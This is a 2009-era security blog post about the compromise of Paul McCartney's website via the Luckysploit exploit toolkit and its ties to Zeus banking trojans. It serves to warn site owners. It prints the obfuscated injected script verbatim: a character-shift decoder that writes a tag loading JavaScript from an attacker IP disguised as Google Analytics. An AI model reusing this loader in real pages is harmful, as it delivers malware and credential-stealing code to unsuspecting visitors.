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PaulMccartney.com Compromised Through Exploit Toolkit, Visitors Might Get Private Data Stolen

The website of famed singer Paul McCartney is the latest victim in a string of website compromises involving the Luckysploit exploit toolkit. The compromises are related to an outbreak of bank-related data theft trojans during the first quarter of 2009. These outbreaks track back to the Zeus botnet which was implicated in a $6 million dollar commercial account heist on 20 European banks in the summer of 2008.

As far as exploit toolkits go, Luckysploit is a bit unusual inasmuch as it uses an asymmetric key algorithm (standard RSA public/private key cryptography) to encrypt the communication session with the browser.

Zeus bots are known for browser traffic sniffing, intercepting POST data and keystrokes associated with the active browser session as well as clipboard data pasted into the browser. While these actions faciliate Zeus’ activities concerning banking theft, it could also lead to compromise of FTP credentials. For this reason, impacted sites may not just be spreading new Zeus banking trojans and bots, their management systems may also be infected with previous variants of Zeus bots and banking trojans.

Embedded scripts on impacted pages may appear as follows:

var source =”=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;0095/355/249/660hpphmf.bobmzujdt0hb/kt#?=0tdsjqu?”; var result = “”;for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);document.write(result);

Compromises have also been observed on flat HTML-only sites, furthering the likelihood that compromised FTP credentials may be the cause. As with most malware today, symptoms of a Zeus infection include the disabling of firewall or other security software. Zeus bots and trojans are also rootkit-enabled, which may hamper discovery efforts.

Credit: Mary Landesman, ScanSafe Blog

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Posted in Breaches And Incidents, Cybercrime, Data Theft, Hacked, Malware, Privacy, Trojans & Worms |  Print This Post